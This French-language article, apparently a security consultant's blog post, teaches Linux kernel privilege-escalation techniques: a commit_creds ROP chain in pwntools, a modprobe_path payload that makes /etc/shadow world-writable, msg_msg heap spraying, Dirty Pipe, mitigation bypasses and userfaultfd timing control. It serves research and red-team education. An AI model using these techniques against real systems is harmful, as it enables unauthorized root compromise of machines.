L'exploitation du noyau Linux représente le Graal de la sécurité offensive : obtenir les privilèges root depuis un processus non privilégié. Le kernel Linux, avec ses 30 millions de lignes de code C, offre une surface d'attaque considérable — des sous-systèmes réseau (Netfilter, io_uring) aux pilotes de périphériques, en passant par les systèmes de fichiers et la gestion mémoire. Ce guide technique approfondi couvre l'ensemble de la chaîne d'escalade de privilèges noyau (LPE — Local Privilege Escalation), depuis l'identification des vulnérabilités jusqu'à l'obtention d'un shell root, en détaillant les techniques de heap exploitation kernel (SLUB allocator), le contournement des mitigations (KASLR, SMEP, SMAP, KPTI) et les primitifs d'exploitation modernes. Les chercheurs en sécurité, les développeurs de modules kernel et les équipes red team trouveront ici des méthodologies éprouvées avec des exemples de code fonctionnels et des études de cas sur des CVE critiques récentes.
En bref
- Surface d'attaque kernel : syscalls, ioctl, sockets, sous-systèmes (Netfilter, io_uring, BPF)
- Techniques LPE : commit_creds(prepare_kernel_cred(0)), modprobe_path, core_pattern
- SLUB allocator : cross-cache attacks, msg_msg spraying, pipe_buffer exploitation
- Mitigations : KASLR, SMEP, SMAP, KPTI, CFI kernel, et contournements
- Outils : KASAN, syzkaller, kprobes, ftrace pour le debugging et le fuzzing kernel
Surface d'Attaque du Noyau Linux
Le noyau Linux expose plusieurs interfaces exploitables depuis l'espace utilisateur. Chaque interface représente un point d'entrée potentiel pour les attaquants :
| Interface | Vecteur d'attaque | CVE récentes | Complexité |
|---|---|---|---|
| Syscalls | Arguments malformés, race conditions | CVE-2022-0847 (Dirty Pipe) | Variable |
| ioctl() | Commandes non validées, OOB write | CVE-2024-1086 (nf_tables) | Moyenne |
| Netfilter/nf_tables | UAF, OOB, type confusion | CVE-2023-32233, CVE-2022-34918 | Élevée |
| io_uring | Race conditions, UAF dans les SQE | CVE-2023-2598, CVE-2024-0582 | Élevée |
| eBPF | Bypass du vérificateur, OOB R/W | CVE-2021-3490, CVE-2023-2163 | Expert |
| Pilotes USB | Parsing de descripteurs malveillants | CVE-2023-1829 | Moyenne |
| Systèmes de fichiers | Images FS malformées (ext4, NTFS) | CVE-2022-1015 | Élevée |
Modèle de Privilèges et Structures Kernel
Sous Linux, chaque processus est représenté par une structure task_struct contenant un pointeur vers ses credentials (struct cred). Les credentials définissent l'UID, le GID et les capabilities du processus. L'objectif de toute exploitation kernel LPE est de modifier ces credentials :
// Structure cred simplifiée (include/linux/cred.h)
struct cred {
atomic_t usage;
kuid_t uid, euid, suid, fsuid; // User IDs
kgid_t gid, egid, sgid, fsgid; // Group IDs
kernel_cap_t cap_inheritable; // Capabilities
kernel_cap_t cap_permitted;
kernel_cap_t cap_effective;
// ...
};
// La technique classique d'escalade de privilèges :
// 1. prepare_kernel_cred(NULL) → crée des credentials root (uid=0)
// 2. commit_creds(new_cred) → applique ces credentials au processus courant
//
// Après ces deux appels, le processus a les droits root.
Techniques d'Escalade de Privilèges Kernel
Les techniques LPE kernel se divisent en plusieurs catégories selon le primitif obtenu :
Méthode commit_creds : Exécution de Code Kernel
Si l'attaquant obtient l'exécution de code arbitraire en mode kernel (via ROP kernel, stack overflow, ou écrasement de pointeur de fonction), la séquence classique est :
// Depuis l'espace kernel, appeler :
commit_creds(prepare_kernel_cred(NULL));
// Puis retourner proprement en espace utilisateur via :
// swapgs; iretq (x86_64)
// eret (ARM64)
# Construction d'une ROP chain kernel avec pwntools
from pwn import *
# Résolution des adresses (via /proc/kallsyms ou info leak)
prepare_kernel_cred = 0xffffffff810a9d80
commit_creds = 0xffffffff810a9b40
pop_rdi_ret = 0xffffffff81001506
swapgs_iretq = 0xffffffff81600a34
# Sauvegarde des registres userspace avant l'exploit
def save_state():
"""Sauvegarder cs, ss, rflags, rsp pour iretq"""
# Appelé avant le trigger via inline asm
pass
# ROP chain kernel
kernel_rop = flat(
pop_rdi_ret,
0, # NULL → root credentials
prepare_kernel_cred, # rax = new root cred
# Gadget: mov rdi, rax; ret
0xffffffff8101f2f0,
commit_creds, # Appliquer les root creds
swapgs_iretq, # Retour en userspace
user_rip, # Adresse de retour user
user_cs, # Code segment
user_rflags, # RFLAGS sauvegardés
user_sp, # Stack pointer user
user_ss # Stack segment
)
Méthode modprobe_path : Write Primitif
Si l'attaquant a un primitif d'écriture arbitraire (write-what-where) mais pas d'exécution de code, la technique modprobe_path est la plus fiable. La variable globale modprobe_path contient le chemin de l'utilitaire /sbin/modprobe, exécuté automatiquement par le kernel quand un programme avec un magic number inconnu est lancé. En écrasant modprobe_path avec le chemin d'un script contrôlé, l'attaquant obtient l'exécution de commandes en tant que root :
# Exploitation via modprobe_path
# Étape 1: Préparer le payload
import os
os.system("echo '#!/bin/sh' > /tmp/pwn.sh")
os.system("echo 'chmod 777 /etc/shadow' >> /tmp/pwn.sh")
os.system("chmod +x /tmp/pwn.sh")
# Étape 2: Préparer un fichier avec un magic number invalide
os.system("echo -ne '\xff\xff\xff\xff' > /tmp/trigger")
os.system("chmod +x /tmp/trigger")
# Étape 3: Écrire "/tmp/pwn.sh" dans modprobe_path (via le primitif d'écriture)
# arbitrary_write(modprobe_path_addr, b"/tmp/pwn.sh ")
# Étape 4: Exécuter le fichier avec le magic invalide
os.system("/tmp/trigger") # Le kernel appelle /tmp/pwn.sh en tant que root !
SLUB Allocator : Exploitation Heap Kernel
Le noyau Linux utilise le SLUB allocator pour les allocations dynamiques. Contrairement à la heap userspace (glibc ptmalloc2), le SLUB organise la mémoire en slab caches — des pools d'objets de taille fixe. Les caches génériques kmalloc-32, kmalloc-64, kmalloc-96, etc. servent les allocations par taille. Les objets d'un même cache partagent les mêmes pages physiques, créant des opportunités d'exploitation par confusion de type.
msg_msg Spraying et Contrôle du Layout
Les structures struct msg_msg (message queues System V) sont le vecteur de spraying kernel le plus versatile car :
- Leur taille est contrôlable (de 48 à 4096 octets pour un segment, plus avec
msg_msgseg) - Leur contenu est entièrement contrôlé par l'utilisateur
- Elles peuvent être lues (
msgrcv()) et libérées à volonté - Elles contiennent des pointeurs kernel (next segment, list_head) exploitables pour des leaks
// Structure msg_msg (ipc/msg.c)
struct msg_msg {
struct list_head m_list; // Doubly-linked list (next/prev)
long m_type; // Message type
size_t m_ts; // Message text size
struct msg_msgseg *next; // Next segment for large messages
void *security; // SELinux label
/* Données utilisateur suivent immédiatement */
};
Pipe Buffer Exploitation (DirtyPipe-style)
La CVE-2022-0847 (Dirty Pipe) a démontré la puissance des struct pipe_buffer comme vecteur d'exploitation. Les pipe buffers référencent des pages physiques du page cache — en corrompant les flags d'un pipe buffer (ajout de PIPE_BUF_FLAG_CAN_MERGE), l'attaquant peut écrire dans des pages en lecture seule, y compris les fichiers système comme /etc/passwd. Cette classe d'attaques — la corruption du page cache — est particulièrement dangereuse car elle contourne les permissions fichiers au niveau le plus bas.
Contournement du KASLR
Le KASLR (Kernel Address Space Layout Randomization) randomise l'adresse de base du noyau (typiquement 512 positions possibles sur x86_64, soit 9 bits d'entropie). Techniques de contournement :
- Side-channels CPU : Spectre, Meltdown, et variantes permettent de lire des adresses kernel depuis userspace. Les mitigations (KPTI, retpolines) réduisent mais n'éliminent pas ces fuites.
- Information leaks kernel : certains appels système retournent des adresses kernel non masquées.
/proc/kallsymsest restreint (kptr_restrict), mais des fuites subsistent dans dmesg, /proc/timer_list, etc. - Brute-force : avec 9 bits d'entropie (512 positions), un crash + respawn rapide permet le brute-force en quelques minutes sur certains sous-systèmes qui ne paniquent pas le kernel.
- Heap spraying prédictible : les adresses d'objets SLUB sont partiellement prévisibles car les slabs sont alloués dans un ordre déterministe.
SMEP, SMAP et KPTI : Isolation Hardware
SMEP (Supervisor Mode Execution Prevention) empêche le CPU d'exécuter du code dans les pages utilisateur quand il est en mode kernel. Le ret2user classique (rediriger le flux kernel vers du shellcode en userspace) est bloqué. SMAP empêche même l'accès en lecture/écriture aux données utilisateur depuis le kernel. KPTI (Kernel Page Table Isolation) sépare les tables de pages kernel et utilisateur pour contrer Meltdown.
Contournements : avec SMEP, l'attaquant utilise des ROP chains kernel (gadgets dans vmlinux). Avec SMAP, les données doivent être placées en mémoire kernel (via spraying). KPTI est contourné en utilisant le trampoline swapgs_restore_regs_and_return_to_usermode pour retourner proprement en userspace.
userfaultfd et FUSE : Contrôle du Timing
userfaultfd() permet à un programme userspace de gérer les page faults d'un autre thread. Dans l'exploitation kernel, l'attaquant passe un pointeur vers une page non mappée au kernel via un syscall. Quand le kernel accède à cette page, le page fault est intercepté par le handler userfaultfd — suspendant le thread kernel. Cela donne à l'attaquant un contrôle total sur le timing des opérations, essentiel pour exploiter les race conditions kernel.
// Utilisation de userfaultfd pour contrôler le timing kernel
struct uffdio_register reg;
int uffd = syscall(SYS_userfaultfd, O_NONBLOCK);
// Enregistrer une page comme surveillée
reg.range.start = (unsigned long)fault_page;
reg.range.len = 0x1000;
reg.mode = UFFDIO_REGISTER_MODE_MISSING;
ioctl(uffd, UFFDIO_REGISTER, ®);
// Dans le handler thread :
// 1. Le kernel touche fault_page → page fault
// 2. Le handler reçoit la notification
// 3. L'attaquant effectue ses opérations (free/spray)
// 4. Le handler résout le fault → le kernel continue
userfaultfd() nécessite le privilege CAP_SYS_PTRACE pour les processus non privilégiés (sysctl vm.unprivileged_userfaultfd=0). Alternative : utiliser FUSE (Filesystem in Userspace) pour obtenir un contrôle de timing similaire via des opérations sur un filesystem custom.CVE-2022-0847 : Dirty Pipe en Détail
Dirty Pipe est l'une des vulnérabilités kernel les plus élégantes : elle permet l'écriture dans n'importe quel fichier lisible (même en lecture seule) sans aucune race condition. Le bug réside dans l'initialisation des pipe_buffer : le flag PIPE_BUF_FLAG_CAN_MERGE n'est pas correctement nettoyé lors du splice de données depuis un fichier vers un pipe. L'exploit :
- Ouvrir le fichier cible en lecture (
/etc/passwd) - Créer un pipe et le remplir puis le vider (pour initialiser les flags)
- Utiliser
splice()pour mapper une page du fichier dans le pipe - Écrire dans le pipe — le flag CAN_MERGE permet l'écriture dans la page du fichier
Fuzzing Kernel avec syzkaller
syzkaller est le fuzzer kernel de Google responsable de la découverte de milliers de vulnérabilités Linux. Il génère des séquences de syscalls aléatoires mais guidées par la couverture de code (coverage-guided fuzzing). Combiné avec KASAN (Kernel Address Sanitizer), il détecte les UAF, OOB, et use-of-uninitialized — même quand le bug ne provoque pas de crash visible.
Tendances d'Exploitation Kernel 2024-2026
Les techniques d'exploitation kernel évoluent rapidement :
- io_uring exploitation : le sous-système io_uring (I/O asynchrone) est devenu le vecteur d'attaque privilégié depuis 2023, avec de nombreuses UAF et race conditions dans la gestion des SQE/CQE.
- Cross-cache attacks : les attaques inter-caches SLUB exploitent le recyclage de pages entre caches de même taille pour obtenir des confusions de type.
- Page-level heap feng shui : manipulation au niveau des pages (et non des chunks individuels) pour un contrôle plus précis du layout kernel.
- Kernel CFI : Google a déployé le kCFI (kernel Control Flow Integrity) sur Android — les exploits doivent contourner les vérifications de type sur les appels indirects.
qemu et un kernel compilé avec KASAN, KASLR désactivé, et les debug symbols. Le projet kernel-exploit-factory fournit des Dockerfiles préconfigurés pour reproduire des CVE kernel historiques.À retenir
- L'exploitation kernel Linux cible les credentials (struct cred) pour obtenir uid=0
- commit_creds(prepare_kernel_cred(0)) est la technique classique avec exécution de code kernel
- modprobe_path est la technique préférée avec un write primitif (pas besoin d'exécution de code)
- Le SLUB allocator utilise des slab caches — le msg_msg spraying est le vecteur le plus polyvalent
- KASLR n'a que 9 bits d'entropie — les side-channels et info leaks le contournent efficacement
- userfaultfd et FUSE permettent de contrôler le timing pour exploiter les race conditions kernel
FAQ — Questions Fréquentes
Comment trouver l'adresse de commit_creds avec KASLR activé ?
Plusieurs techniques : exploiter un information leak kernel (fuite d'un pointeur kernel via une vulnérabilité), utiliser des side-channels CPU (variantes Spectre), ou cibler /proc/kallsyms si kptr_restrict n'est pas activé. Une fois l'adresse d'un seul symbole connue, la base du kernel est calculée (offset fixe), et tous les symboles sont résolus.
Quelle est la différence entre SMEP et SMAP ?
SMEP empêche le CPU d'exécuter du code dans les pages utilisateur quand il est en mode kernel — bloque le ret2user. SMAP empêche le CPU d'accéder (lire/écrire) aux données utilisateur depuis le kernel — force l'attaquant à placer ses données en mémoire kernel via spraying. Les deux sont des protections matérielles (bits CR4).
Dirty Pipe est-elle toujours exploitable en 2026 ?
Non, CVE-2022-0847 a été corrigée dans Linux 5.16.11. Cependant, la technique (corruption du page cache via pipe buffers) reste un vecteur de recherche actif. Des variantes conceptuellement similaires continuent d'être découvertes dans la gestion des pipes et du page cache.
Quel est le meilleur fuzzer pour trouver des vulnérabilités kernel ?
syzkaller de Google est le standard de l'industrie — il a trouvé des milliers de bugs kernel. Il utilise le fuzzing guidé par couverture avec des descriptions de syscalls (syzlang). Combiné avec KASAN, il détecte les corruptions mémoire même silencieuses. Alternatives : Trinity (fuzzer de syscalls plus simple) et Razzer (spécialisé race conditions).
Besoin d'un accompagnement expert ?
Nos consultants spécialisés en exploitation kernel et sécurité système vous accompagnent dans l'évaluation et le renforcement de votre posture de sécurité.
Contactez-nousTélécharger cet article en PDF
Format A4 optimisé pour l'impression et la lecture hors ligne
À propos de l'auteur
Ayi NEDJIMI
Expert Cybersécurité Offensive & Intelligence Artificielle
Ayi NEDJIMI est consultant senior en cybersécurité offensive et intelligence artificielle, avec plus de 20 ans d'expérience sur des missions à haute criticité. Il dirige Ayi NEDJIMI Consultants, cabinet spécialisé dans le pentest d'infrastructures complexes, l'audit de sécurité et le développement de solutions IA sur mesure.
Ses interventions couvrent l'audit Active Directory et la compromission de domaines, le pentest cloud (AWS, Azure, GCP), la rétro-ingénierie de malwares, le forensics numérique et l'intégration d'IA générative (RAG, agents LLM, fine-tuning). Il accompagne des organisations de toutes tailles — des PME aux grands groupes du CAC 40 — dans leur stratégie de sécurisation.
Contributeur actif à la communauté cybersécurité, il publie régulièrement des analyses techniques, des guides méthodologiques et des outils open source. Ses travaux font référence dans les domaines du pentest AD, de la conformité (NIS2, DORA, RGPD) et de la sécurité des systèmes industriels (OT/ICS).
Ressources & Outils de l'auteur
Articles connexes
Commentaires
Aucun commentaire pour le moment. Soyez le premier à commenter !
Laisser un commentaire